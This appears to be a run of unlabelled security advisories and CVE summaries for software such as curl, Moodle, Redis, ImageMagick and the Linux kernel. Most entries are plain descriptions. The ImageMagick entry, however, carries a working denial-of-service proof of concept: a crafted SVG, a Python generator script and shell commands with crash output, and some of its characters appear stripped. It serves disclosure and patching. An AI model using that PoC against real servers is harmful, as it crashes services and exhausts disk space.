A vulnerability was found in Redis. This flaw allows authenticated users to use the HINCRBYFLOAT command to create an invalid hash field that may crash Redis on access.
Chromium: CVE-2023-2136 Integer overflow in Skia
Chromium: CVE-2023-2033 Type Confusion in V8
A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.
Impact An attacker could exploit this vulnerability to execute arbitrary JavaScript code in the context of the user's browser session. This may lead to unauthorized access to sensitive user data, manipulation of the web application's behavior, or unauthorized actions performed on behalf of the user.
Patches Please upgrade to the most recent version of Smarty v3 or v4.
For more information If you have any questions or comments about this advisory please open an issue in the Smarty repo
A flaw was found in X.Org Server Overlay Window. A Use-After-Free may lead to local privilege escalation. If a client explicitly destroys the compositor overlay window (aka COW) the Xserver would leave a dangling pointer to that window in the CompScreen structure which will trigger a use-after-free later.
Insufficient filtering of grade report history made it possible for teachers to access the names of users they could not otherwise access.
An authentication bypass vulnerability exists in libcurl prior to v8.0.0 where it reuses a previously established SSH connection despite the fact that an SSH option was modified which should have prevented reuse. libcurl maintains a pool of previously used connections to reuse them for subsequent transfers if the configurations match. However two SSH settings were omitted from the configuration check allowing them to match easily potentially leading to the reuse of an inappropriate connection.
An authentication bypass vulnerability exists libcurl <8.0.0 in the connection reuse feature which can reuse previously established connections with incorrect user permissions due to a failure to check for changes in the CURLOPTGSSAPIDELEGATION option. This vulnerability affects krb5/kerberos/negotiate/GSSAPI transfers and could potentially result in unauthorized access to sensitive information. The safest option is to not reuse connections if the CURLOPTGSSAPIDELEGATION option has been changed.
An authentication bypass vulnerability exists in libcurl <8.0.0 in the FTP connection reuse feature that can result in wrong credentials being used during subsequent transfers. Previously created connections are kept in a connection pool for reuse if they match the current setup. However certain FTP settings such as CURLOPTFTPACCOUNT CURLOPTFTPALTERNATIVETOUSER CURLOPTFTPSSLCCC and CURLOPTUSESSL were not included in the configuration match checks causing them to match too easily. This could lead to libcurl using the wrong credentials when performing a transfer potentially allowing unauthorized access to sensitive information.
A path traversal vulnerability exists in curl <8.0.0 SFTP implementation causes the tilde (~) character to be wrongly replaced when used as a prefix in the first path element in addition to its intended use as the first element to indicate a path relative to the user's home directory. Attackers can exploit this flaw to bypass filtering or execute arbitrary code by crafting a path like /~2/foo while accessing a server with a specific user.
A vulnerability in input validation exists in curl <8.0 during communication using the TELNET protocol may allow an attacker to pass on maliciously crafted user name and "telnet options" during server negotiation. The lack of proper input scrubbing allows an attacker to send content or perform option negotiation without the application's intent. This vulnerability could be exploited if an application allows user input thereby enabling attackers to execute arbitrary code on the system.
Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara)
Tested ImageMagick version
6.9.11-60, 7.1.0-62
Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file.
It seems that this error affects a lot of websites and causes a generating trash files in /tmp when uploading this PC file to the server.
I think it's better to check the file descriptor coming from itself before executing read().
PoC 1. Generate SVG file: <?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> 2. Run some commands for verification: $rm -f /tmp/ $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x8664 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-9BfRq0uY2vmzaVOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWXJlakXXtH4IEM magick-GeFwj8BewISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON magick-25byXoEeEr2dWIkr9nyEoVz1MHC2n9M magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN magick-siS7QSav31X63ENYmecytIjx1iKmWAN magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M magick-hik3AU2x0DR8ViIBXUIuRljCXSmgqO magick-sJhO2YvaeKsxt1JxDENKIiQqkOkSfwM magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N magick-HWqrSdjihWMzjJeRiAkKbgrIljhUM magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL magick-3SVSiI4YgeQ01ZZV8lZsBMMhauuwpO magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L magick-TGIY7l3-dNVdAbGaMIbN0z3YGy5mrNvM magick-3WQIQghdu9-YHVasNASfkkU63yyVdmfO magick-IPu9YWX3Lk96EkP63KLqQ-CX6020cZMN magick-Thg6M-CqdcXc0SyjRdYm19rtVBLt2U6P magick-4hLf4JPIes67QpGP7GfmOPftGvENC1aN magick-IVKuPYBpBe6Lx9F3lLMAMCjIptMoz0ZM magick-TiTtPZdT3Zgsd-pasyRFTb-DbLGNqJTO magick-4tTMAJrCHh2E8M1xw5BIjx8UDyb42FWM magick-IVzovwQiOR2fwJDO5E5RZb58apCPBX8M magick-TQZIwyyLufZWMVx1-k3YLSYSsGl6upM magick-4xs5mqt95PYGrXXxZiwyYHFKREC0NEWL magick-J36psEABfkKfgVQdeFsptbkRWT0b1uNP magick-tzMg0NWi-GQOzES2aPMPRqCk-bgjyVN magick-5DmloHI-m-WPROyfQmm5cF8GOEVa5EqO magick-jEq-Q6t6D3CU-eevjhgfjULPP3pOEoO magick-ULNarZD53mUqpJrHZVeZw5x0cuUH683N magick-5JvQUY2vVqkpzhfUTcsxaoYB2WImZN magick-jNiokVz0Iifz5QX3a9AUIUOBoxfJ49P magick-uLR13qPG6X-c3avLRypLJ-C7-UiUH9tM magick-5NoXNg55Xyh8816ksKEcqreuN1BF93LO magick-jwa4IVvrxrE4OTSA0m8iB2W3K5LiinmQ magick-uW9khwJZfM4EH1cETVDv09QnueONQGPP magick-60BRKi88--TOk-Sp8t5nAyAxjSuOpxfO magick-K5mhLUCkx0WJxcWr7G7oT0nNrc5qBvgQ magick-v4l3nLHBXBjCNc-nTHSTwUOEfsNCUMnP magick-6t2qBJnplYLZZo5thj6PV0R15LrPe4L magick-K5qzx3k8-36H5wfEgl3Jy1oNpOyscHhN magick-v7Xme5JIf4lCCCwXJkIuQNHEE7D1LM magick-6UmuyWO8OviaajA92VeD1bK8z0btAO magick-K6-l4o2PkC4V7NqIJ9y-ifJLl6lSzdM magick-vd7xpM8OrXvu3Oftqd7xdRmGDdoGcHrP magick-725dkkTfpkfKmogI4WLWWwCbrxc0aysP magick-KchLIwf4-ahsUq1FsJfK58j3Jb6CAMTP magick-VhfNmWGF-AOhytm1DMGG8n1DLOAG3p1N magick-7rZGPFyH2Q7ibxFrB4kTQZjkihhU9uO magick-kpcUuOTI4UlrK8kHoZh38ziLMmBjtjvO magick-vHpPz6BixbqmYCqD2zs2sU4hFRbQoP magick--7T1tmKSEJSSPJIgeDEQ9PLdo8oPh60P magick-kReWGvubeCrLdw4RcRsJdJhlV43wCffM magick-VLoWnTJppgO7-ivh0quuGcgPDkuyKPN magick-8jBguKQr6qeZTsw4eFbQWO34ndlsBpbO magick-LBjQNSTFFpLRnj3Cldvjm5ePWYL1fLL magick-VpvOIJK-XsFRZeAS1ZJ9Ra2vkgJbCOL magick-9Hno6LBapbL0jwCSEC7Ua6A7kB3uYiN magick-Lfu-5C1697AwNxTZnljfR24E27ZDnwP magick-VpzT9KMjKbomi6mV3ZnnRkoq1WAP41vM magick-9SN2401usIEYCc6zcn442pdvqyVdPWaQ magick-lHxUfKDHYSfpVi7yOc31u7gJVTXLhSuN magick-vRG2rcf6I8lB2MJF6DqHqh2z21IP5N magick-a1uVHLsbEnA8yXKvwmW3PWAFBdnfoSnQ magick-M4mcsykxHPNkFTDgc4tdJ9kP1Trkm64M magick-vw2VNrClFVhnXLqVoIz35Xpo232qsngN magick-AbpJUZcspor3bkYr70l17bGSjntyAhZP magick-m5P0dZWaFUeZo4kr8HcO6vpfuICmmBcM magick-WEYdL0amRHxeCpuGiFEuulRwwzkjZyXO magick-AcsyQEmT-x7nE6DvfIv2pqjLbfJYTtN magick-MHI0zAFGR1-ljbFLl12i5hFVpkoBbdpN magick-WKjEejTF4V6JtkCbFEy2B6kQcyFseQ magick-Ai76QfTBT0DXjGqvZaAGiagvAxuGM magick-mOckduEYCLc9gy1XwVgtJWpr1aDU7QP magick-WkkwqgsnNNSleWlRm-1BN8RiE-QcF9lO magick-albfl7tU2ASh6PRhnMWBDscz31fS1BO magick-MrajCpsti3MlAWlNviDCY3iUeZsgGLM magick-WMlxV7rdjtMYe1F0aggQZW2WNpvhY2GO magick-A-nsLcvOOBlHzdBGQMSsdTrvsfUevEQO magick-mZyca0hC8atGLvY-m0UYec1yCU3rGIWM magick-wnqAodNT7ZVbe8dIN-Gd2pxCNo6cwzOL magick-AplCAOC7K6cDM3qO3wqSONMhVuztohO magick-NAH0CgD3XCLMS1VN-4yju-2RCdFJbGO magick-wP3Q3aM05wB2K6NBolzm6sCR3b5wE1P magick-ApNw8tmuaXUw-mqdMF7P0ZKOV3YHwQGM magick-NU3oGX5NxUhJvWQWWY8-7BNAnHWJceM magick-wsCa-R-K6HYtZ7FWWnPg3FpOyGmS1wuO magick-AWye85xaEct6rGB9bIvIz9BBhrRyg3O magick-NZBKgJGx7bH8uZ2PiKF8jtzCI9aBDVZN magick-WvNjMMQ2gXHSGNWCMceMqBL8ksnGZIuO magick-aXtmFaHIdz24xjFvCy4ZQda2wef0AH0N magick-o3FerPGSptnb0U5mHu6DH-00ZTlTlDCO magick-xAPfisi5E9NHJKbkrbCGioXCkTs3uDYM magick-B5uiXH3Mrf0GgmF9NAPwqSJd-lMFLfrM magick-o4Dl5iYn3veI54-lNtHgm6wnAIQ79urP magick-Xb2irJZuxzYWsCfmYHc8oaKU67ANR27N magick-BEr6VZecWKFCRVuSXPEIbJu6uuBe0pO magick-o9S5taGlSrED8zUEtv0EkpjoWk61fJBO magick-Xkes-QQqXhMthGwFKxLjpRvL96qRd6O magick-bKCtVcSkQqtXdjO8XAyWeocMsYuZArN magick-OeHngPf0pRuDH9DpIsOpkoAbDnAvBTL magick-xlhsal9kyY6QMOSb1WmyTx1vGTqE94bO magick-Btw2-hfTAVQLiPRMXakrXsUhstT2ZGM magick-OhD82cIFbY91zGxpIt52AbjWekddAU2L magick-xmmr39PvOExl0B8w0YOoq2yYyWoVLM magick-By2pnDUxk85bO3M7kkMbAEXHGShyc0O magick-OlcHbZjE-66xMyWVlhfAucxYJioiQ4L magick-xq9qw9wK-TRFokBTostne36jQXljCa7M ...
Impact Possible DOS, because when ImageMagick crashes it generates a lot of trash files. This trash file can be large, if SVG file contains many render action.
Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G.
Example: $cat dospoc.py open("baddos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="baddos.svg"""" + "0"(10241021) + """"" /> </svg>""") $rm -rf /tmp/magick- $python3 dospoc.py $du -h baddos.svg 1,0M baddos.svg $../magick convert -font OpenSymbol baddos.svg t.jpg Segmentation fault $cat /tmp/magick- > dosk.txt $du -h dosk.txt 103M dosk.txt
P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase.
An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.
A buffer overflow vulnerability was found in the Netfilter subsystem in the Linux Kernel. This issue could allow the leakage of both stack and heap addresses, and potentially allow Local Privilege Escalation to the root user via arbitrary code execution.
An issue was discovered in Mbed TLS before 2.28.2 and 3.x before 3.3.0. There is a potential heap-based buffer overflow and heap-based buffer over-read in DTLS if MBEDTLSSSLDTLSCONNECTIONID is enabled and MBEDTLSSSLCIDINLENMAX > 2 MBEDTLSSSLCIDOUTLENMAX.
An issue was discovered in Mbed TLS before 2.28.2 and 3.x before 3.3.0. An adversary with access to precise enough information about memory accesses (typically an untrusted operating system attacking a secure enclave) can recover an RSA private key after observing the victim performing a single private-key operation if the window size (MBEDTLSMPIWINDOWSIZE) used for the exponentiation is 3 or smaller.
A use-after-free vulnerability in nfs42sscopen() in fs/nfs/nfs4file.c in Linux kernel through v6.1-rc8, which allows an attacker to conduct remote Denial of Service attack.
A flaw was found in the c-ares package. The aressetsortlist is missing checks about the validity of the input string which allows a possible arbitrary length stack overflow. This issue may cause a denial of service or a limited impact on confidentiality and integrity.
Impact It is possible to craft an environment variable with newlines to add entries to a container's /etc/passwd. It is possible to circumvent admission validation of username/UID by adding such an entry.
Note: because the pod author is in control of the container's /etc/passwd, this is not considered a new risk factor. However, this advisory is being opened for transparency and as a way of tracking fixes.
Patches 1.26.0 will have the fix. More patches will be posted as they're available.
Workarounds Additional security controls like SELinux should prevent any damage a container is able to do with root on the host. Using SELinux is recommended because this class of attack is already possible by manually editing the container's /etc/passwd
References
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.
GNU Emacs through 28.2 allows attackers to execute commands via shell metacharacters in the name of a source-code file, because lib-src/etags.c uses the system C library function in its implementation of the ctags program. For example, a victim may use the "ctags " command (suggested in the ctags documentation) in a situation where the current working directory has contents that depend on untrusted input.
Heap based buffer overflow in vim/vim 9.0.0946 and below by allowing an attacker to CTRL-W gf in the expression used in the RHS of the substitute command.
qpress before PierreLvx/qpress 20220819 and before version 11.3, as used in Percona XtraBackup and other products, allows directory traversal via ../ in a .qp file.
systemd 250 and 251 allows local users to achieve a systemd-coredump deadlock by triggering a crash that has a long backtrace. This occurs in parseelfobject in shared/elf-util.c. The exploitation methodology is to crash a binary calling the same function recursively, and put it in a deeply nested directory to make its backtrace large enough to cause the deadlock. This must be done 16 times when MaxConnections=16 is set for the systemd/units/systemd-coredump.socket file.
FreeRDP is a free remote desktop protocol library and clients. Affected versions of FreeRDP are missing input length validation in drive channel. A malicious server can trick a FreeRDP based client to read out of bound data and send it back to the server. This issue has been addressed in version 2.9.0 and all users are advised to upgrade. Users unable to upgrade should not use the drive redirection channel - command line options /drive, +drives or +home-drive.
A vulnerability was found in Moodle which exists due to insufficient validation of the HTTP request origin in course redirect URL. A user's CSRF token was unnecessarily included in the URL when being redirected to a course they have just restored. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website. This flaw allows an attacker to perform cross-site request forgery attacks.
A reflected cross-site scripting vulnerability was discovered in Moodle. This flaw exists due to insufficient sanitization of user-supplied data in policy tool. An attacker can trick the victim to open a specially crafted link that executes an arbitrary HTML and script code in user's browser in context of vulnerable website. This vulnerability may allow an attacker to perform cross-site scripting (XSS) attacks to gain access potentially sensitive information and modification of web pages.
MSA-22-0031: Stored XSS possible in some "social" user profile fields
The "social" user profile field type performed insufficient escaping on some fields, resulting in a stored XSS risk.
Versions affected: 4.0 to 4.0.4 and 3.11 to 3.11.10 Versions fixed: 4.0.5 and 3.11.11
A blind Server-Side Request Forgery (SSRF) vulnerability was found in Moodle. This flaw exists due to insufficient validation of user-supplied input in LTI provider library. The library does not utilise Moodle's inbuilt cURL helper, which resulted in a blind SSRF risk. An attacker can send a specially crafted HTTP request and trick the application to initiate requests to arbitrary systems. This vulnerability allows a remote attacker to perform SSRF attacks.